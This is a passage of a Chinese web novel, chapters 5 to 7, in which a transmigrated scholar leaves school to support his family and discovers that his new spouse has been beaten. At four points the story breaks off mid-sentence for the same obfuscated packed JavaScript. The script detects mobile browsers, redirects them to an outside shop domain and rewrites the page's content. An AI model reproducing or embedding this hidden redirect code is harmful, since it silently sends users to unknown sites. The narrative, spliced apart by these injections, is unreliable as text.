“这怎么行!”郭秀英面色焦急,“你大哥买药的钱我已经留出来了,家里如今是困难点,但夏收过后就好了!咱家二十亩田地,养得活咱们!我答应了爹娘要供你念书的,不能让你停学!等你考上秀才,旁人就不敢欺负咱们了!” “没有我暖衣饱食、在学堂里念书,让你们起早贪黑、在地里干活供养我的道理。大嫂,我先前就说过要回来,担起我该付的责任。” 郭秀英心里一怔,她只以为霍洵说的回来帮忙是休沐时回来帮着干些农活,不想霍洵是要停学。 霍洵表情认真:“大哥的病拖不得了,我想去府城、去源西府、源东府、去上京,给他找更好的大夫。他动不了是因为蛇毒,早些找名医来治还有站起来的可能,再耽搁几年即便华佗再世也难治了。” 霍洵话音落下,郭秀英再说不出一个‘不’字。 霍泽的病是她心里最深的恐惧,若说前面那些还不足以打动她,那这个理由简直精准的拿住了她的命脉。 她先前也提过要去府城给霍泽找大夫,可如今给霍泽诊治的这位大夫就是从府城最大的医馆过来的。先前霍泽命悬一线,镇上、县里几乎所有的大夫都说没救了,是他将霍泽从鬼门关拉回来的。 郭秀英找人打听过,这位大夫的医术在府城也是数一数二的。 将霍泽送到府城,一来不一定能找到更好的大夫,二来霍泽的身体不一定能抗过一路的奔波。 想将大夫请来,他们又没那个财力。 最重要的是,霍泽自己存了自弃的心思,深怕家人再为他倾家荡产。他不答应,郭秀英也没办法。 “你大哥不会同意的。”郭秀英叹了口气。 霍洵语气平淡:“如今家里没钱,靠你们勉强支撑,大哥自然不同意。若是家里有能力,为他治病不会伤筋动骨,他还有什么理由反对?归根结底,还是银子的事。” 郭秀英虽然忧心忡忡,但也不得不承认,他这话有道理。 “那咱们怎么挣钱呢?” “这几日我好生琢磨琢磨,定能想出挣钱的法子。” 郭秀英:“……” 不是她看不起小叔子,实在是霍洵原先就是个书呆子,从没做过买卖,要挣钱谈何容易? 不过霍洵心意已决,她也想为霍泽尽力一试,所以即便没信心,她也没再反对。 “好,那咱们一起想法子。” * 同郭秀英说完话,霍洵找到祁福,带他去见霍泽。 霍泽是原主的亲哥,昨日就该与祁福见面的,但他如今瘫痪在床,自尊受挫,不肯在人多的时候露面。 祁福还是那幅胆小乖顺的模样,进屋后叫了一声‘大哥’就没话了。 霍泽让他把霍家当自己家,好好和霍洵过日子,又让霍洵好好念书。 霍洵想着停学之事瞒不了人,便同他说了。 霍泽的反应一如所料,十分激动,不肯答应。 霍洵在他面前又换了副说辞。 “夫子说我能考上秀才,是宽慰你们的话,我的水平我自个儿清楚,考中的可能性极低,即便走了狗屎运,也没法儿再往上走了。大哥,我停学不只是为你,更是为我自己。前些年我一直死读书,四书五经倒背如流,可这些书能引申出什么道理,如何用在实处,我一窍不通。我朝科考要取的并非是读死书的庸才,而是能做实事的人。这几年朝廷多次下诏,命乡试、会试的考官综合三场考试来评定成绩,若有精通兵农、水利、律法等实务者,即便八股文平平也要予以录取,陛下的用意可见一斑。你想我这样的书呆子真当了官能做什么,朝廷能要我这样的人?” “我不想止步于秀才,所以我得去历练、去与人打交道、去了解大魏的百姓如何生活、有什么难处,我还得找更有能力的夫子。我得走出学堂,无论是挣钱还是干农活,与我而言都是积累,我得知道柴米油盐从何而来、五谷杂粮如何耕种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521530|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才能体会百姓艰辛;我得知道民生之苦、家国之困,才能学以致用。真正的学问不在笔墨之间,那些世家的学子会外出游学,想来也是这个道理,大哥你就当我也是出来游学了吧。” 霍洵一番话说完,霍泽半晌没回过神。 他从不知自己的弟弟竟有这样的见识。 霍泽沉默许久后才开口:“我怕你耽搁了学业,往后后悔。” “这是我自己选的路,我不会后悔。况且,前途虽然要紧,但家人也是无可替代的,我若是只顾着自己的前程,让家里人吃苦受累地供着我、让这个家散了,那才该后悔。” * 霍泽没立刻同意,但也没再说反对的话。 从屋里出来,郭秀英赞叹不已:“你大哥性子执拗,我就怕他为这事生气,再伤了身子。还是你有本事,几句话便将他说动了。” 霍洵失笑。 他说的也不是假话,原主只会死读书,在他夫子那个私塾都不算出挑,确实不大可能考中秀才。 霍洵就更不行了,他还不如原主呢。 他能考上那么好的大学完全得益于专业能力,文化课是真不太行。虽然原主学得扎实,这些知识还在他脑子里,但以他现在的水平,要考上秀才,几率十分渺茫。 可不考也不行,这时代同华国古代的封建朝代一样,士农工商阶级分明。身上没有功名的人就像那案板上的鱼一般,遇到个有权势的只能任人宰割,霍家就是这样被邱家盯上的。 霍洵意识到这一点后,颇有些绝望。让他考科举,简直是在要他的命。 所以他还起了武举做官的心思,可一问才知,大魏已经太平很久了,如今朝廷重文轻武,根本不在民间选武举人,武举考试只在驻军所在的卫所挑人。 霍洵只恨自己穿的不是时候,一个武夫偏要被迫从文。 好在已经说服家里让他停学两年,这两年若有别的际遇,让他不用通过科举也能获得一定的权势是最好的。 * “大嫂,我同你一起去田里。” 得益于三年的末世生活,霍洵除了念书,也算是个全能型人才。田里的活儿他都会干,农学知识也积累了一些,待会儿正好去瞧瞧,他在末世学的那些堆肥、耕种知识,在这里有没有用武之地。 郭秀英听了他一席话,已经完全能接受他下地干活了。 “好,那拿上锄头跟我走。” 霍洵点点头,去柴房里拿锄头,走了几步发现祁福亦步亦趋地跟着,瞧那架势,似乎也要跟他们下地? 霍洵有些无奈:“地里的活儿你没干过,不用跟着我们去,就在家里看妹妹和小秋要做什么,帮着搭把手吧。” 祁福轻轻应了一声,正好霍苓要去山上挖竹笋,他连忙跑去拿背篓。 霍苓笑了笑:“二嫂,咱们再拿个麻袋吧,装得更多,等会儿可以抬着回来。” 她说完从屋里拿了个麻袋出来,祁福低着头,小狗一般跟着她往外走,两人一齐去了村尾的玉泉山。 5. 第 5 章 昨夜下了雨,霍洵和郭秀英准备去看看田里的稻子,和地里的秧苗。 稻田里若是水位太高,得把田垄挖开,将水排出去。地里种的棉花、南瓜、大豆、芝麻、绿豆、红豆……,也各有要注意的。 春雨过后杂草长得快,得及时清除,不然会与庄稼争肥争光。 本来两人可以分头行动,但原主那个书呆子连家里的几块田地在哪儿都不清楚,农忙时节也只是在家里帮忙,鲜少下地。 霍洵不认得路,只得跟着郭秀英。 霍家有十二亩良田,四亩就在宅子前头不远处,另外八亩在村口; 还有八亩地,其中两亩是山地,就在屋子后头,另外六亩在村里中间那条河的对岸。 昨夜的雨不大,田里水位还好,倒是地里因为家里这几日忙着霍洵的婚事,有些疏于打理,长了些草。 霍洵一边除草,一边将家里的田地和这时代的农作物情况都问了一遍。 这个国家叫‘大魏’,但农业发展情况与华国古代的任何一个朝代都对应不上。辣椒已经出现了,棉花也开始推广种植了,但红薯土豆之类的东西还未出现,至少临山县没有。 霍洵在末世学的那些堆肥、耕种的法子这里大多已经用上了,还有些目前的条件无法实现。 百姓们已经有轮作、堆肥养地的意识,但粮种不行,粮食产量远远赶不上现代,普通农户还有许多吃不饱饭。 朝廷规定,家里有五亩到十亩田地的农户,都得拿出半亩来种棉花、苎麻或桑树,像霍家这样有二十亩的,得翻倍地种,不种或种得不好还得交罚银。 虽种了棉花,但大多数农户还是穿不起棉衣,因为种出来要捡最好的交税,剩下的还要卖钱。 好在是太平年间,政治也算清明,苛捐杂税不多,百姓也算安居乐业。 * 地里的活儿不多,郭秀英说她一个人就行,催着霍洵去山上找祁福。 “既然不准备买东西了,那笋子多挖些去,鸡蛋也多拿点,最重要的是陪陪祁双。你两刚成亲,莫让人家觉得你不重视她。” 霍洵确实想上山看看,便没拒绝。 他们所在的地方位于大魏西南区域,属于源阳府临山县。 临山县山地很多,玉泉村正处在一个盆地之中,四面都是山。村里水田少,旱地多,每户人家各有一块山地,村尾还有一座大山,就叫玉泉山,村子也是因为这座山得的名。 靠山吃山,村民们日子不多好过,但只要够勤快就饿不死。 山里竹子多,春雨过后,山林里冒出的竹笋是村民们最喜爱的时鲜,不仅能自家吃,也能背去镇上卖钱。 不过山路不好走,从村里到镇上坐牛车要半个时辰,走路更久,村里去卖的人还是少。毕竟这时节镇上卖笋子的人多,不一定能卖出去。 农户人家还是更擅长和田地打交道,不是谁都能长得开嘴叫卖。 比起这个,村里人更愿意去码头搬货,这样一个劳力一天实打实能挣五十文钱,还不用费那么多心思。 只是码头的活计并非每日都有,很多时候轮不到他们就被镇上的闲汉占了。 霍洵走到半截又折回家拿了个麻袋,心想要是春笋多,他们也挖些去卖。 搬货的活儿他也能干,可做苦力只能挣个辛苦钱,要给霍泽治病、给自己攒科考的钱远远不够。 要快速挣钱只能靠做买卖,但具体做什么他还未想好,先卖竹笋试试。 * 另一头,山上。 霍苓轻车熟路地找到一块笋子多的地儿:“二嫂,咱们就在这儿掰吧。” 这时节玉泉山上长的多是水竹笋,水竹笋体型细长,一掰就断,口感脆嫩鲜甜,不涩口,是最好吃的春笋。 祁福没吃过两回,但没少剥。 霍苓一声令下,他二话不说,蹲下身哼哧哼哧地干活。 一阵风吹过,有水珠飘落,落在他颈间,冰冰凉凉的。 山林里树叶摩挲,响起‘簌簌’的声音,伴随着春笋被折断的清脆响声,像一首悠扬的小曲儿。 祁福的心里前所未有的平静。 若能一直这样就好了,他想。 她两掰了一会儿,又有别的村民上山了,没往她们这儿凑,只路过时与霍苓打声招呼。 不一会儿这一块的笋子便被她们掰完了,装满了半个麻袋。霍苓说要换个地方,祁福抢在她之前提起麻袋,也不说话,只看着她,等着她带路。 “那边有一条小水沟,水竹笋应当也多,我们往那边走。” 霍苓指了个方向,祁福默默地跟着走。 水边水竹笋确实多,霍苓还找到了野葱和野山菌,高兴地采了往背篓里装。祁福拖着麻袋,闷头掰竹笋。 两人忙活了一会儿,身后传来脚步声,紧接着一道尖利的声音响起:“家里几十亩地还来与我们抢公山上的竹笋,人呐,真是不知足!” 祁福回头,瞧见一个吊梢眼的中年妇人正一脸不快地看着他和霍苓,妇人身边还站着个汉子。 “是啊!”那汉子瞪着眼睛,拿着把柴刀,凶神恶煞地往他们这边走,“掰了这么多笋子还不走,难不成想把这山上的笋都占了!” 祁福吓得小脸惨白:“你、你要做什么?” 那汉子哼了一声,恶声恶气:“你说呢!”说着又往他们那边走了几步。 霍苓冷着脸起身,还未来得及说话,就见祁福哆哆嗦嗦地挪到她面前。 祁福昨日吃那几个肉包时,就在心里许诺,下辈子要报答霍苓。谁知机会来得这样快,不用等下辈子了。 罢了,反正他早晚是要死的。 祁福张开双手,闭上眼睛,一副视死如归的表情。 “喂!你干啥呢!”吊梢眼妇人指着祁福,一脸气愤,“想往我们身上泼脏水,污蔑我们欺负人是不是?好歹毒的心肠!” “就是啊!”拿着砍柴刀的汉子蹲下,恶狠狠地掰了两根笋子,“做什么!做什么!当然是拔笋子了!这块地儿又不是你们家的,凭什么你们能拔我们不能拔!!” “算了算了!”妇人快步过来,拽着他往另一头走,“真是晦气,咱们换个地方!” 两人骂骂咧咧地走了。 祁福愣在原地,霍苓哭笑不得:“他们只是想将我们吓走,不至于真为几根笋子打人。” 她想起祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521531|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福方才的举动,心头一软,又有些意外。 今日之前,她对自己这位新嫂子的印象都不怎么好。 祁家当初巴巴地贴上来,求着将女儿嫁给她二哥,后来又收了她家那么多东西,却翻脸不认人。霍苓知道这或许不是祁双的意思,但还是有些迁怒她。 尤其是昨日霍洵带人去迎亲,连祁家的门都没能进。 所以她对祁福客客气气的,但也不怎么热络,没想到祁福方才怕成那样,还试图保护她。 “方才那个婶子姓‘孟’,同她一起的男人是她相公,叫‘赵六指’。赵六指在隔壁村的邱老爷家干活儿,邱家与我们霍家有嫌隙,他家的几个长工为了讨好主家时常与我们作对。不过不用怕,他们不敢真做什么,村里大多数人都是明事理的,他们要是做得过分了,大伙儿会帮忙……” 霍苓这会儿对祁福换了个态度,话也多了。想着她二嫂往后在这儿生活,也要与村里人打交道的,便将村里的情况与祁福说了说。 “与咱们家关系最好的要属村长家和咱们隔壁的林家,林家的桂婶是个热心肠,昨日你和二哥成亲,她们一家都过来帮忙了,往后她家有宴席,咱们也去帮忙……” 她一边掰笋子一边说话,祁福不敢说话,只偶尔干巴巴地应一声。 * 霍洵从家里走到山上,草鞋粘了厚厚一层泥巴。 山上挖笋子的人多,上山后,他捡了根小木棍清理完鞋底的泥巴,又找了几人问路,才找到霍苓和祁福。 她两的麻袋已经装满了,还挖了一背篓野山菇和野葱、灰灰菜、清明菜之类的野菜,正准备回家。 霍洵远远地瞧见祁福用力地将麻袋一甩,扛在肩上,走了几步压得腰都直不起来,脸颊的肉都在颤抖,像个吃力的小乌龟。 霍苓面色焦急:“二嫂,你快放下来,我们一起抬!” 霍洵三两步走过去,托住祁福背上的麻袋:“松手。” 祁福似乎没想到他会突然过来,被他吓了一跳,愣愣地松开手。霍洵接住麻袋,放到地上。 “我又拿了一个麻袋过来,咱们多挖些春笋再一起下山。” 霍苓和祁福都没意见,见祁福不吭声,霍苓主动带着她二哥往竹笋多的地方走。 “我们来得早,但还有比我们更早的,二哥你再晚来些都挖不着了,就这一块还有些。” 霍洵颔首:“能挖多少是多少,咱家山上也有,到时候一起挖了用牛车拖去镇上卖。” “谁去卖呢?咱家没人做过买卖,大嫂要料理田地,你要念书,要我去吗?”霍苓有些不自信。 “我去。”霍洵想起她还不知道自己要停学之事,便简略地和她说了一遍,最后道,“往后我会想法子挣钱,替大哥治病。” 霍苓十分意外,觉得自家二哥变化真是大,但也认同他的选择。 按理说停学之事,霍洵应当先与‘妻子’商量。可到底不是真夫妻,又才认识没几日,霍洵对祁福的态度还有些保留。 反正同霍泽说的时候他也听到了,似乎没什么意见,霍洵不准备再多费唇舌。 附近还有其他人,兄妹二人没再细说,只专心地掰笋子。 6. 第 6 章 春笋比普通野菜好卖,还能晒干了存起来,留着冬日菜少的时候吃,在村里很受欢迎。 每回春雨过后,村民们都会上山来寻。挖完玉泉山的,再挖自家山上的。 霍洵和霍苓说话的功夫,又来了些人。 霍家昨日才办了喜事,如今是最受关注的时候,不少人悄悄打量祁福。 霍洵发现,祁福虽然胆小,但在妇人面前还算正常,人家与他说话他也会回应。但男子不行,有几个汉子多瞧了他几眼,他神情肉眼可见的紧张起来。 早上在霍泽那儿也挺镇定,莫非是因为霍泽不能动? 霍洵不着痕迹地挪了个位置,挡住那些人的视线。 * 人一多,笋子就不够拔了。 又过了约莫一个时辰,另一个麻袋才将将装满。 走许久才能找到几棵水竹笋,要再找笋窝,得往更深处走。深山里蛇虫太多,寻常人不敢进。 放在穿越前,霍洵倒是不怕。可他如今身手大不如前,还带着两个小姑娘,也不敢冒险。 祁福干活不惜力,山上地不平坦,他只顾着掰笋子,险些摔跤。霍洵反应快,一把扶住他的胳膊,没想到他身体一抖,痛得脸都白了。 霍洵眼尖地发现他袖子上有血迹渗出,皱了皱眉:“怎么回事,你受伤了?” 祁福神色慌张,不知如何解释。 伤口处的布料是干净的,伤在隐蔽处,显然不是自己摔的,霍洵心里生出些猜测。 山上人多眼杂,他没再问,只说:“先回去吧,笋子也没多少了。” 霍苓没瞧见方才那一幕,应声道:“人太多了,咱们下回再来。” 祁福一听,二话不说又要去扛那袋笋子,霍洵轻轻将他推开:“我来。” 他用麻绳将两个麻袋都捆好,一个扛在左肩,一个用右手提着。 霍苓瞪大了眼睛:“二哥,你现在力气这般大了?这才几日,你那个武术竟这般有效!” 霍洵轻笑一声,心里有些得意。 穿来第二日,他就给自己制定了锻炼计划,力求尽快恢复到穿越前的身体状态。 原主这张脸跟他有七八分像,身高和体型却与他相差甚远,他很不满意。在府城时每日锻炼,回村后也未曾懈怠。 郭秀英几人瞧见他练武,还有些奇怪,霍洵早想好了理由:“被邱仲晖推下水后我才知道,身体才是最要紧的。身体不够强壮,人家随手就能让你丧命。” 郭秀英十分赞同,她原先就瞧不上原主那肩不能扛,手不能提的身板,觉得还不如自己有力气。 霍洵说要锻炼,她乐见其成,这几日家里其他人也见怪不怪了。 * 下了山霍洵才发现自己还是高估这副身体了。 两袋水竹笋一百多斤,换做穿越前,他背着走十几公里不在话下,可这副身体只扛着竹笋走了约莫一刻钟的山路便累得出汗了。 好在这半月来的锻炼还是有效的,眼下虽然吃力点儿,但也不至于扛不动。 霍苓说要帮忙,霍洵没答应,走了半截发现背后的重量陡然变轻,回头一看,祁福默不作声地用手帮他举着。 发现他的眼神,又默默地松开手,抬头望天,一副无事发生的模样。 霍洵失笑,装作没看见,再一回头,霍苓也在有样学样。 实在没想到自己还有让两个小姑娘帮忙抬东西的一天,霍洵心中感慨,想要恢复原先那副体格的心情愈发迫切。 * 回到家,时间也还早。三人喝了口水,休息了一会儿,霍洵兄妹两又带上锄头、箩筐去自家后山挖笋子。 村里每户人家都有一块山地,就在自家屋子后头,是大魏朝初期官府分配的,男丁四分,女丁两分,水田也是一样。 到了霍洵他们这一辈,剩下的地不够分了,这条政令便取消了,村民们想要田地只能花银子买。 村里的私山几乎都种了竹子,竹子种植简单,长得快,用处也多,箩筐、簸箕、竹席、竹筛……都用得着。竹枝竹叶可以引火,发的笋子还能卖钱。 除了竹子,霍家的山地还种了棕树、油茶树,和樟树、杉树之类的乔木树。 山下还种了几棵橘子树,也不知从哪儿得来的树种,结出的橘子特别酸。村里的孩子没什么零嘴,这酸橘子也是原主兄妹几个幼时的宝贝。 霍家种的竹子是毛竹,竹林里出的笋也多是毛竹笋。不过有几丛野生的水竹,每年春日都会长些水竹笋,没玉泉山那么多。 毛竹一年四季都能出笋,春笋产量大,口感也不如冬笋,所以卖不上价,但自家吃或是做成笋干去卖都不错。 上午出了太阳,霍洵瞧了下,估摸着明后两日也是晴天,决定将后山的毛竹笋都挖了,一半剥了做成笋干,一半明日带去镇上试试能不能卖。 竹笋一天能长一截,耽搁两日就老了。这时节雨水多,要想晒笋干还得抓紧时机。 为了给霍洵办喜宴,前些日子没少在后山挖笋子,剩下的不多。霍洵兄妹两一个挖毛竹笋,一个掰水竹笋,花了半个时辰,就将后山能挖的笋都挖完了。 回到家时,祁福和霍秋在晒干草。见他两回来,又帮着来剥毛竹笋。 祁福手臂上有伤,霍洵去后山没叫他,想让他留在家里休息,谁知一转头的功夫,这人就跟着霍秋去割草了。 霍洵瞧他干活儿那劲头,感觉这回成亲不像给自己娶媳妇儿,倒像给家里娶了个长工。 ‘小姑娘’实在是勤快过了头,也不知在祁家过的什么日子,才养出这副心性。 * 一上午在林子里钻来钻去,霍洵几人都出了汗,衣裳也弄脏了,贴在身上很不舒服。 于是各自擦洗了一番,回屋换衣裳。想趁着日头还早,将衣裳洗了。 祁福换下衣裳用木盆端着,犹犹豫豫地蹭到霍洵身边:“你的衣裳要洗吗?” 他声如蚊讷,霍洵一怔:“我的衣裳我自己洗。” 祁福眼睛瞪得溜圆,原来除了自己,还有别的男子也会洗衣裳? “好。”他点点头,端着衣裳要走,胳膊却被拉住了。 “啊!” 祁福痛得小声惊呼,霍洵连忙松手,他看着祁福端着的那盆衣裳,下面灰白色亵衣露出一角,上面是刺眼的红色,分明不在手臂位置。 霍洵眸光一闪,将那件衣裳拿出来翻开。 “谁干的?” 一道一道的血痕触目惊心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521532|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍洵不想管闲事,但祁福身上的伤显然不轻,看血迹应当是藤条或鞭子之类的东西打的,这已经远远超出爹娘教训的范畴了。 祁福神色慌张,霍洵语气有些重:“你不说我就去祁家问。” “我说,我说!”他抿了抿唇,“……是祁旺打的。” 霍洵更加意外了:“你弟弟?他为何打你?” 孪生姐弟,到底有什么事过不去,要下这么重的手? 祁福垂着脑袋:“我没有招惹他,他就是爱打人。” 祁福虽然才来霍家两天,但霍洵能看出,他并不是个会欺负人的性子。况且这时代的小姑娘,有底气在家里与兄弟做对的几乎不可能存在。 他说的应当是真话。 霍洵想了想:“伤这么重,得找大夫诊治。” 祁福愈发慌乱:“不、不用,经常打,过不了几日就会好!” 他有些语无伦次,但霍洵听明白了,他经常被祁旺打,每次伤口过几天就好了。 若果真是如此,性质就更加恶劣了。 受伤程度控制得如此精准,这不是在泄愤,是故意打人取乐。 祁双这个弟弟,真是天生坏种。 霍洵心情复杂,再也说不出送他回家的话:“家里有金创药,我去给你拿。” 干农活儿难免有磕磕碰碰的时候,霍泽屋里就有金疮药,霍洵说完不等祁福应声,便自个儿去了前院。 * 霍泽屋子的门开着,霍洵走到门口,瞧见霍秋正给她爹爹揉腿。 霍泽表情颓靡,语气晦暗:“不用白费力气,这双腿反正是废了,你有力气不如帮你娘去锄地。” “呵!”霍秋眉毛一挑,“反正是废了?那你还趁着娘不在悄悄自己揉!我帮你不比你自个儿瞎费劲好?腰都要弯折啦!得亏是生了个聪明懂事的好闺女儿,不然真不管你,你就哭去吧!” 霍泽被堵得说不出话来,一张脸涨得通红。 霍洵笑着摇摇头,悄悄退开。这会儿进去霍泽脸上挂不住,还是等会儿再来吧。 他回到后院,正遇见霍苓举着块布巾出来。 “二哥!”霍苓小跑几步,走到霍洵身边,“我早上瞧二嫂洗脸的帕子有些旧了,我这儿有一块新的,你帮我给她行吗?” 霍洵有些纳闷:“怎么不自己给?” 霍苓不好意思道:“我先前对二嫂有些误会,待她不怎么热络,只怕她还生我的气呢,今日在山上也不愿意和我说话。” 她小声将祁福在赵六指面前保护她的事儿说了,又道:“大嫂说得对,祁家那样做不是二嫂的主意,她是无辜的。” 祁福那样胆小,身上还带着伤,竟还愿意在霍苓有危险时挺身而出。霍洵心中意外,对祁福的印象又好了几分。 “祁家待她并不好,那些事确实不是她的主意。”霍洵想了想,又道,“她在我面前话也不多,应当就是性子内敛,没有生你的气。” 霍苓眼里浮出些欣喜:“真的吗?太好了!” 霍洵点点头,正要让霍苓自己去送布巾,想起竹床上还铺着自己的被褥,又改变了主意。 “布巾我帮你送吧,正好有事与你二嫂说。” 霍苓没多想:“好啊。” 7. 第 7 章 屋子里,祁福呆呆地坐在凳子上,见霍洵进门,连忙站起来。 霍洵将霍苓的布巾给他:“霍苓送你的,是新的。金疮药没找着,等大嫂回来我问问她。” 祁福头一回收到旁人送的东西,举着那块白色的布巾手足无措。 霍洵的目光扫过竹床,似乎想到了什么:“待会儿让霍苓来帮你擦药吧,背上你自己够不着。” 他说完就要去收拾被褥,谁知祁福反应剧烈:“不用,我自己可以!” 祁福眉毛皱成一团,眼神乱飘,看起来既心虚又焦急。霍洵心里那股不对劲的感觉又出现了,总觉得他还有秘密瞒着自己。 但转念一想,小姑娘有自尊心,伤口不愿意让别人看到也正常。 “行,那你自己来。” 霍洵没再多问,祁福偷偷拿眼睛瞧了瞧他,最后装作不经意抱起木盆,贴着墙边出去了。 霍洵失笑,又想起祁福用的那个木盆是自己的。 他摇头叹息,祁家的陪嫁真寒碜,连个洗脸盆都没有,洗脸帕还是旧的。 祁双毕竟是个姑娘家,与他又不是真夫妻,还是得另给她买个木盆才是。 * 洗完衣裳,霍洵几人又将剥好的毛竹笋切成长条,放入锅里煮,准备做笋干。 中午郭秀英回来,一看他们在晒笋干,还有小半篓毛竹笋和好些水竹笋没剥放在那儿,赶忙过来帮忙。 霍洵没让她粘手:“大嫂你歇歇,要晒的竹笋没多少,剩下的是我明日要拿去镇上卖的。” 郭秀英这才知道他明日要去卖竹笋。 “这时节卖笋子的人太多了,你带这么多过去,只怕卖不完。” “没事,卖不完就带回来做笋干留着自己吃,总归不会浪费。” 郭秀英点点头:“那也是。” 霍洵想到祁福身上的伤,又问郭秀英拿药。 郭秀英面色一紧:“谁受伤了?” 祁福不肯让霍苓帮她擦药,霍洵猜想他不愿让人知道她被自家弟弟欺负的事儿,便没同郭秀英细说。 只道:“祁双受了点伤,不要紧,但这几天不能干重活。” 霍洵怀疑他衣服上的血痕是背竹笋时压到渗出的血。 郭秀英看着霍洵,表情迟疑:“不是你干的吧?” “……”霍洵十分无奈,“大嫂,我是那种人吗?” 郭秀英也觉得自家小叔子不是那种人,但还是亲自确认过才放心。 不是霍洵伤的,霍洵又不肯细说,她心里已有猜想,郭秀英叹了口气,没再追问:“那行,我去给你拿药。” * 今日朝食吃得早,又忙活了大半日,午后霍洵饿得前胸贴后背。 下午他把霍泽背出来晒太阳,又在院子里劈了会儿柴,去灶房里喝水,一进门就瞧见霍秋眼巴巴地对着家里的竹碗柜咽口水。 霍洵失笑:“碗柜里有什么好吃的?” “是昨日剩下的喜饼。”霍秋摸了摸肚子,用气声道,“娘不许我吃,说要留着招待客人。” 霍洵伸手打开碗柜,里头果然有个油纸包。 他看了霍秋一眼,打开油纸包,从里头拿出一块喜饼递给她:“吃吧。” 霍秋有些犹豫,霍洵把喜饼放到她手里:“别怕,你娘问起,就说是二叔给你的。” 霍秋眼眸发光,欢喜地点头:“谢谢二叔。” 她举着那块喜饼,一跳一跳地往外头走,刚出门就和郭秀英撞了个正着。 “你拿了灶房的喜饼?”郭秀英皱着眉,“娘同你说过,这是留着招待客人的,你昨日已经吃过了。” 霍洵连忙出去解释:“大嫂,是我给小秋拿的。今日早饭吃得早,这会儿她有些饿了。” 郭秀英摆摆手:“二弟你别惯着她,弟妹和苓儿已经在准备晚饭了,怎么还要吃零嘴?” “晚饭还有一会儿。小秋才九岁,正是长身子的时候,咱们饿一下没事,她吃不饱会影响发育。”霍洵摸了摸霍秋的脑袋,“让她吃吧,咱家就这么一个孩子,不能为了招待客人让小秋饿肚子。” 在霍洵看来,霍秋已经够懂事了。不用大人说就知道要去帮她爹按腿,郭秀英一回来,她就跑去倒水,搬椅子,小小年纪什么活儿都会干,既聪明又孝顺。 只怪眼下霍家负担太重,让她吃块饼都瞻前顾后。 霍秋垂着脑袋,表情有些委屈。 坐在院子里的霍泽看见这一幕,心里一抽,一股又酸又涩的滋味翻涌而出。 目光扫过又黑又瘦,与从前判若两人的郭秀英,他心里愈发堵得厉害。 霍泽深吸一口气,猛地侧开脸。在旁人看不到的角落,他被这股难以名状的情绪逼得双眼通红。 郭秀英看到女儿的表情,也有些心疼:“吃吧,娘方才不该说你,该先问清楚的。” 霍秋十分好哄,眼睛还红着却从霍洵身后探出脑袋,对着郭秀英挤出个笑:“那我原谅你了。” 院子里面含担忧看着她们的霍苓松了口气,祁福面上没什么变化,洗菜的动作却快了些。 米是提前泡好的,菜收拾好后,晚饭很快就做好了。 霍泽不愿意在外面吃饭,霍洵将他背回屋里,又去给他送饭。 他端着霍泽那份饭菜出来,瞧见祁福在井边提水,他叫了一声:“祁双。” 不知是不是没听见,井边的人毫无反应,霍洵走过去:“你去给大哥送饭,我来提。” 祁福似乎被吓了一跳,回过神后慌乱地点头,接过托盘疾冲冲去了霍泽那儿。 * 霍泽屋子的门开着,他躺在床上,眼神空落落的,不知在想什么。 祁福将饭菜放到他旁边的桌子上,干巴巴地说了句“大哥,吃饭”就要走,却被霍泽叫住了。 “弟妹。” 祁福回过头,一脸老实地等霍泽说话。 霍泽面色愧疚:“对不起,因为我,二弟不得不停学回家。” 祁福拽着衣角,不知该如何回应,最后只得点点头,表示理解。 霍泽又道:“你本是县城里娇养长大的姑娘,到了我们家,却要帮着割草放牛挖野菜,嫁来头一日,就受了伤。” 祁福面色懵懂,眼神澄净。霍泽的目光落在他身上,却又像透过他看到了谁,语气怅惘:“小秋曾经也同你一般,是家里疼惜着长大的,如今却连一块喜饼都吃不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521533|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你大嫂原先——” 霍泽说到这里,眼眶蓦地一红,他低下头,苦笑一声:“都是因为我,我就是个累赘,活着只会拖累家人,不如死了……” 